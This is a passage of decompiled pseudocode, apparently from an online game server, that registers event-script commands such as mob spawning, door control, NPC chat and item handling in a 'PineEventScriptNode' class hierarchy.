ScriptInterrupt::ScriptInterruptArgument *v8; // eax@3 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); v6 = BTree::operator__(&stru_131DE8B8, v5); v7 = -1; if ( v6 != -1 ) v7 = v6; v8 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_PickUpItemIndex, exp + 1, num); if ( v8 ) *(_WORD *)&v8->sib_Argument.area.areaname[0] = v7; } //----- (004CD440) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptHPUpper(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // edi@1 int v5; // ebx@1 __int16 v6; // bp@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp + 1, 0); v6 = PineScriptToken::pst_GetNumber(exp, 0); v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_HPUpper, exp + 2, num); if ( v7 ) { *(_WORD *)&v7->sib_Argument.area.areaname[0] = v6; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = v5; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; } } //----- (004CD4B0) -------------------------------------------------------- char __thiscall FieldMap::fm_AreaEntry(int this, Name8 *areaindex, unsigned int x, unsigned int y) { AreaInfoData::IAreaData *v4; // eax@1 char result; // al@2 float v6; // ST04_4@3 float v7; // ST00_4@3 v4 = AreaInfoData::GetData((AreaInfoData *)(*(_DWORD *)(this + 20) + 36), areaindex); if ( v4 ) { v6 = (double)y; v7 = (double)x; result = ((int (__thiscall *)(AreaInfoData::IAreaData *, _DWORD, _DWORD))v4->vfptr->IntersectTest)( v4, LODWORD(v7), LODWORD(v6)); } else { result = 0; } return result; } //----- (004CD500) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SubLayerShift(int this, char sublayer, char logout) { int v3; // esi@1 int v4; // eax@2 v3 = this; if ( logout ) { ShineObjectClass::ShineObject::so_Logout((void *)this); v4 = *(_DWORD *)(v3 + 94); *(_BYTE *)(v4 + 4) = sublayer; } else { LOBYTE(v4) = sublayer; *(_BYTE *)(*(_DWORD *)(this + 94) + 4) = sublayer; } return v4; } //----- (004CD530) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShinePrintf::ShinePrintf(PineEventScriptNode::ShinePrintf *this) { PineEventScriptNode::ShinePrintf *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "printf", 0, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePrintf::_vftable_; } // 6523B8: using guessed type int (__stdcall *PineEventScriptNode__ShinePrintf___vftable_)(int tr); //----- (004CD550) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineScriptFile::ShineScriptFile(PineEventScriptNode::ShineScriptFile *this) { PineEventScriptNode::ShineScriptFile *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "scriptfile", 0, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineScriptFile::_vftable_; } // 6523D4: using guessed type int (__stdcall *PineEventScriptNode__ShineScriptFile___vftable_)(int tr); //----- (004CD570) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineTimeLimit::ShineTimeLimit(PineEventScriptNode::ShineTimeLimit *this) { PineEventScriptNode::ShineTimeLimit *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "timelimit", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTimeLimit::_vftable_; } // 6523F4: using guessed type int (__stdcall *PineEventScriptNode__ShineTimeLimit___vftable_)(int tr); //----- (004CD590) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInterruptClear::ShineInterruptClear(PineEventScriptNode::ShineInterruptClear *this) { PineEventScriptNode::ShineInterruptClear *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "interruptclear", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptClear::_vftable_; } // 652414: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptClear___vftable_)(int tr); //----- (004CD5B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInterruptSet::ShineInterruptSet(PineEventScriptNode::ShineInterruptSet *this) { PineEventScriptNode::ShineInterruptSet *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "interruptset", 1u, 3, 5); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptSet::_vftable_; } // 652438: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptSet___vftable_)(int tr); //----- (004CD5D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInterruptErase::ShineInterruptErase(PineEventScriptNode::ShineInterruptErase *this) { PineEventScriptNode::ShineInterruptErase *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "interrupterase", 0, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptErase::_vftable_; } // 65245C: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptErase___vftable_)(int tr); //----- (004CD5F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWaitInterrupt::ShineWaitInterrupt(PineEventScriptNode::ShineWaitInterrupt *this) { PineEventScriptNode::ShineWaitInterrupt *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "waitinterrupt", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitInterrupt::_vftable_; } // 652480: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitInterrupt___vftable_)(int tr); //----- (004CD610) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMobRegen::ShineMobRegen(PineEventScriptNode::ShineMobRegen *this) { PineEventScriptNode::ShineMobRegen *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mobregen", 1u, 6, 7); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobRegen::_vftable_; } // 6524A4: using guessed type int (__stdcall *PineEventScriptNode__ShineMobRegen___vftable_)(int tr); //----- (004CD630) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDoorBuild::ShineDoorBuild(PineEventScriptNode::ShineDoorBuild *this) { PineEventScriptNode::ShineDoorBuild *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "doorbuild", 1u, 6, 6); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorBuild::_vftable_; } // 6524B8: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorBuild___vftable_)(int tr); //----- (004CD650) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineNPCStand::ShineNPCStand(PineEventScriptNode::ShineNPCStand *this) { PineEventScriptNode::ShineNPCStand *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "npcstand", 1u, 6, 6); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCStand::_vftable_; } // 6524CC: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCStand___vftable_)(int tr); //----- (004CD670) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChange2Mob::ShineChange2Mob(PineEventScriptNode::ShineChange2Mob *this) { PineEventScriptNode::ShineChange2Mob *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "change2mob", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2Mob::_vftable_; } // 6524E0: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2Mob___vftable_)(int tr); //----- (004CD690) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChange2Door::ShineChange2Door(PineEventScriptNode::ShineChange2Door *this) { PineEventScriptNode::ShineChange2Door *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "change2door", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2Door::_vftable_; } // 6524F4: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2Door___vftable_)(int tr); //----- (004CD6B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChange2NPC::ShineChange2NPC(PineEventScriptNode::ShineChange2NPC *this) { PineEventScriptNode::ShineChange2NPC *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "change2npc", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2NPC::_vftable_; } // 652508: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2NPC___vftable_)(int tr); //----- (004CD6D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineExchange2Mob::ShineExchange2Mob(PineEventScriptNode::ShineExchange2Mob *this) { PineEventScriptNode::ShineExchange2Mob *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "exchange2mob", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineExchange2Mob::_vftable_; } // 65251C: using guessed type int (__stdcall *PineEventScriptNode__ShineExchange2Mob___vftable_)(int tr); //----- (004CD6F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDoorOpen::ShineDoorOpen(PineEventScriptNode::ShineDoorOpen *this) { PineEventScriptNode::ShineDoorOpen *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "dooropen", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorOpen::_vftable_; } // 652540: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorOpen___vftable_)(int tr); //----- (004CD710) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDoorClose::ShineDoorClose(PineEventScriptNode::ShineDoorClose *this) { PineEventScriptNode::ShineDoorClose *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "doorclose", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorClose::_vftable_; } // 652560: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorClose___vftable_)(int tr); //----- (004CD730) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineObjectVanish::ShineObjectVanish(PineEventScriptNode::ShineObjectVanish *this) { PineEventScriptNode::ShineObjectVanish *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "vanish", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineObjectVanish::_vftable_; } // 652580: using guessed type int (__stdcall *PineEventScriptNode__ShineObjectVanish___vftable_)(int tr); //----- (004CD750) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRegenGroup::ShineRegenGroup(PineEventScriptNode::ShineRegenGroup *this) { PineEventScriptNode::ShineRegenGroup *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "regengroup", 0, 2, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegenGroup::_vftable_; } // 65259C: using guessed type int (__stdcall *PineEventScriptNode__ShineRegenGroup___vftable_)(int tr); //----- (004CD770) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWaitUserLogin::ShineWaitUserLogin(PineEventScriptNode::ShineWaitUserLogin *this) { PineEventScriptNode::ShineWaitUserLogin *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "waitlogin", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitUserLogin::_vftable_; } // 6525BC: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitUserLogin___vftable_)(int tr); //----- (004CD790) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShinePause::ShinePause(PineEventScriptNode::ShinePause *this) { PineEventScriptNode::ShinePause *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "pause", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePause::_vftable_; } // 6525DC: using guessed type int (__stdcall *PineEventScriptNode__ShinePause___vftable_)(int tr); //----- (004CD7B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineNPCChat::ShineNPCChat(PineEventScriptNode::ShineNPCChat *this) { PineEventScriptNode::ShineNPCChat *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "npcchat", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCChat::_vftable_; } // 6525F8: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCChat___vftable_)(int tr); //----- (004CD7D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineNPCShout::ShineNPCShout(PineEventScriptNode::ShineNPCShout *this) { PineEventScriptNode::ShineNPCShout *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "npcshout", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCShout::_vftable_; } // 652614: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCShout___vftable_)(int tr); //----- (004CD7F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChatWindow::ShineChatWindow(PineEventScriptNode::ShineChatWindow *this) { PineEventScriptNode::ShineChatWindow *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "chatwin", 0, 2, 9); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChatWindow::_vftable_; } // 652634: using guessed type int (__stdcall *PineEventScriptNode__ShineChatWindow___vftable_)(int tr); //----- (004CD810) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChatWindowRange::ShineChatWindowRange(PineEventScriptNode::ShineChatWindowRange *this) { PineEventScriptNode::ShineChatWindowRange *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "chatwinrange", 0, 4, 9); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChatWindowRange::_vftable_; } // 652650: using guessed type int (__stdcall *PineEventScriptNode__ShineChatWindowRange___vftable_)(int tr); //----- (004CD830) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSomeoneShout::ShineSomeoneShout(PineEventScriptNode::ShineSomeoneShout *this) { PineEventScriptNode::ShineSomeoneShout *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "someoneshout", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSomeoneShout::_vftable_; } // 652674: using guessed type int (__stdcall *PineEventScriptNode__ShineSomeoneShout___vftable_)(int tr); //----- (004CD850) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSummonMob::ShineSummonMob(PineEventScriptNode::ShineSummonMob *this) { PineEventScriptNode::ShineSummonMob *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "summonmob", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSummonMob::_vftable_; } // 652698: using guessed type int (__stdcall *PineEventScriptNode__ShineSummonMob___vftable_)(int tr); //----- (004CD870) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineQuestResult::ShineQuestResult(PineEventScriptNode::ShineQuestResult *this) { PineEventScriptNode::ShineQuestResult *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "questresult", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineQuestResult::_vftable_; } // 6526B8: using guessed type int (__stdcall *PineEventScriptNode__ShineQuestResult___vftable_)(int tr); //----- (004CD890) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineReward::ShineReward(PineEventScriptNode::ShineReward *this) { PineEventScriptNode::ShineReward *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "reward", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineReward::_vftable_; } // 6526D8: using guessed type int (__stdcall *PineEventScriptNode__ShineReward___vftable_)(int tr); //----- (004CD8B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBroadcast::ShineBroadcast(PineEventScriptNode::ShineBroadcast *this) { PineEventScriptNode::ShineBroadcast *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "broadcast", 1u, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBroadcast::_vftable_; } // 6526F4: using guessed type int (__stdcall *PineEventScriptNode__ShineBroadcast___vftable_)(int tr); //----- (004CD8D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineLinkTo::ShineLinkTo(PineEventScriptNode::ShineLinkTo *this) { PineEventScriptNode::ShineLinkTo *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "linkto", 1u, 4, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineLinkTo::_vftable_; } // 652714: using guessed type int (__stdcall *PineEventScriptNode__ShineLinkTo___vftable_)(int tr); //----- (004CD8F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWhoClickMe::ShineWhoClickMe(PineEventScriptNode::ShineWhoClickMe *this) { PineEventScriptNode::ShineWhoClickMe *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "whoclickme", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWhoClickMe::_vftable_; } // 652730: using guessed type int (__stdcall *PineEventScriptNode__ShineWhoClickMe___vftable_)(int tr); //----- (004CD910) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWhoKillMe::ShineWhoKillMe(PineEventScriptNode::ShineWhoKillMe *this) { PineEventScriptNode::ShineWhoKillMe *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "whokillme", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWhoKillMe::_vftable_; } // 652750: using guessed type int (__stdcall *PineEventScriptNode__ShineWhoKillMe___vftable_)(int tr); //----- (004CD930) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemDrop::ShineItemDrop(PineEventScriptNode::ShineItemDrop *this) { PineEventScriptNode::ShineItemDrop *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemdrop", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemDrop::_vftable_; } // 652770: using guessed type int (__stdcall *PineEventScriptNode__ShineItemDrop___vftable_)(int tr); //----- (004CD950) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInvenSearch::ShineInvenSearch(PineEventScriptNode::ShineInvenSearch *this) { PineEventScriptNode::ShineInvenSearch *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "invensearch", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvenSearch::_vftable_; } // 652790: using guessed type int (__stdcall *PineEventScriptNode__ShineInvenSearch___vftable_)(int tr); //----- (004CD970) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemCreate::ShineItemCreate(PineEventScriptNode::ShineItemCreate *this) { PineEventScriptNode::ShineItemCreate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemcreate", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemCreate::_vftable_; } // 6527B0: using guessed type int (__stdcall *PineEventScriptNode__ShineItemCreate___vftable_)(int tr); //----- (004CD990) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineItemErase::ShineItemErase(PineEventScriptNode::ShineItemErase *this) { PineEventScriptNode::ShineItemErase *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "itemerase", 1u, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemErase::_vftable_; } // 6527D0: using guessed type int (__stdcall *PineEventScriptNode__ShineItemErase___vftable_)(int tr); //----- (004CD9B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineFindHandle::ShineFindHandle(PineEventScriptNode::ShineFindHandle *this) { PineEventScriptNode::ShineFindHandle *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "findhandle", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineFindHandle::_vftable_; } // 6527F0: using guessed type int (__stdcall *PineEventScriptNode__ShineFindHandle___vftable_)(int tr); //----- (004CD9D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineAbstatSet::ShineAbstatSet(PineEventScriptNode::ShineAbstatSet *this) { PineEventScriptNode::ShineAbstatSet *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "abstateset", 1u, 3, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAbstatSet::_vftable_; } // 652810: using guessed type int (__stdcall *PineEventScriptNode__ShineAbstatSet___vftable_)(int tr); //----- (004CD9F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineAbstatReset::ShineAbstatReset(PineEventScriptNode::ShineAbstatReset *this) { PineEventScriptNode::ShineAbstatReset *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "abstatereset", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAbstatReset::_vftable_; } // 652830: using guessed type int (__stdcall *PineEventScriptNode__ShineAbstatReset___vftable_)(int tr); //----- (004CDA10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSuicide::ShineSuicide(PineEventScriptNode::ShineSuicide *this) { PineEventScriptNode::ShineSuicide *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "suicide", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSuicide::_vftable_; } // 652854: using guessed type int (__stdcall *PineEventScriptNode__ShineSuicide___vftable_)(int tr); //----- (004CDA30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRun::ShineRun(PineEventScriptNode::ShineRun *this) { PineEventScriptNode::ShineRun *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "run", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRun::_vftable_; } // 652870: using guessed type int (__stdcall *PineEventScriptNode__ShineRun___vftable_)(int tr); //----- (004CDA50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWalk::ShineWalk(PineEventScriptNode::ShineWalk *this) { PineEventScriptNode::ShineWalk *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "walk", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWalk::_vftable_; } // 652888: using guessed type int (__stdcall *PineEventScriptNode__ShineWalk___vftable_)(int tr); //----- (004CDA70) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMapLight::ShineMapLight(PineEventScriptNode::ShineMapLight *this) { PineEventScriptNode::ShineMapLight *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "maplight", 0, 3, 3); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMapLight::_vftable_; } // 6528A4: using guessed type int (__stdcall *PineEventScriptNode__ShineMapLight___vftable_)(int tr); //----- (004CDA90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMapFog::ShineMapFog(PineEventScriptNode::ShineMapFog *this) { PineEventScriptNode::ShineMapFog *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mapfog", 0, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMapFog::_vftable_; } // 6528C4: using guessed type int (__stdcall *PineEventScriptNode__ShineMapFog___vftable_)(int tr); //----- (004CDAB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEffectObject::ShineEffectObject(PineEventScriptNode::ShineEffectObject *this) { PineEventScriptNode::ShineEffectObject *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "effectobj", 1u, 4, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEffectObject::_vftable_; } // 6528E0: using guessed type int (__stdcall *PineEventScriptNode__ShineEffectObject___vftable_)(int tr); //----- (004CDAD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineEffectLocate::ShineEffectLocate(PineEventScriptNode::ShineEffectLocate *this) { PineEventScriptNode::ShineEffectLocate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "effectloc", 1u, 6, 6); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEffectLocate::_vftable_; } // 652900: using guessed type int (__stdcall *PineEventScriptNode__ShineEffectLocate___vftable_)(int tr); //----- (004CDAF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineAggro::ShineAggro(PineEventScriptNode::ShineAggro *this) { PineEventScriptNode::ShineAggro *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "aggro", 1u, 2, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAggro::_vftable_; } // 652920: using guessed type int (__stdcall *PineEventScriptNode__ShineAggro___vftable_)(int tr); //----- (004CDB10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMobWeaponRate::ShineMobWeaponRate(PineEventScriptNode::ShineMobWeaponRate *this) { PineEventScriptNode::ShineMobWeaponRate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mobweaponrate", 1u, 1, 8); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl 